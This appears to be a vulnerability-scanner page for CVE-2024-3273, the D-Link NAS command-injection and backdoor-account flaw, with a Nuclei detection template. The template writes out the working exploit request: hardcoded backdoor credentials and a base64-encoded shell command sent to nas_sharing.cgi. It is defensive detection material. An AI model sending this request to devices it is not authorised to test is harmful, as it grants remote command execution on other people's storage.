D-Link Network Attached Storage - Command Injection and Backdoor Account

Exploited in the wild. Listed by CISA on 2024-04-11; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.

Impact

Attackers can execute arbitrary commands on D-Link NAS devices using hardcoded credentials and command injection.

Fix

Retire and replace the affected D-Link NAS devices as they are end-of-life and no longer supported.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system={{base64(cmd)}}
Positive when: contains "<auth_state>1</auth_state>" AND matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-3273 -u <target>

The full check

id: CVE-2024-3273
info:
  name: D-Link Network Attached Storage - Command Injection and Backdoor Account
  author: pussycat0x
  severity: critical
  description: |
    UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.
  impact: |
    Attackers can execute arbitrary commands on D-Link NAS devices using hardcoded credentials and command injection.
  remediation: |
    Retire and replace the affected D-Link NAS devices as they are end-of-life and no longer supported.
  reference:
    - https://github.com/netsecfish/dlink
    - https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/#google_vignette
    - https://news.ycombinator.com/item?id=39960107
    - https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
    - https://vuldb.com/?ctiid.259284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3273
    cwe-id: CWE-77
    cpe: cpe:2.3:o:dlink:dns-320l_firmware:-:*:*:*:*:*:*:*
    epss-score: 0.99995
    epss-percentile: 0.99989
  metadata:
    verified: true
    vendor: dlink
    product: "dns-320l_firmware"
    fofa-query: "app=\"D_Link-DNS-ShareCenter\""
    max-request: 1
  tags: cve,cve2024,dlink,nas,kev,vkev,vuln
variables:
  cmd: "id"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system={{base64(cmd)}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<auth_state>1</auth_state>"

      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from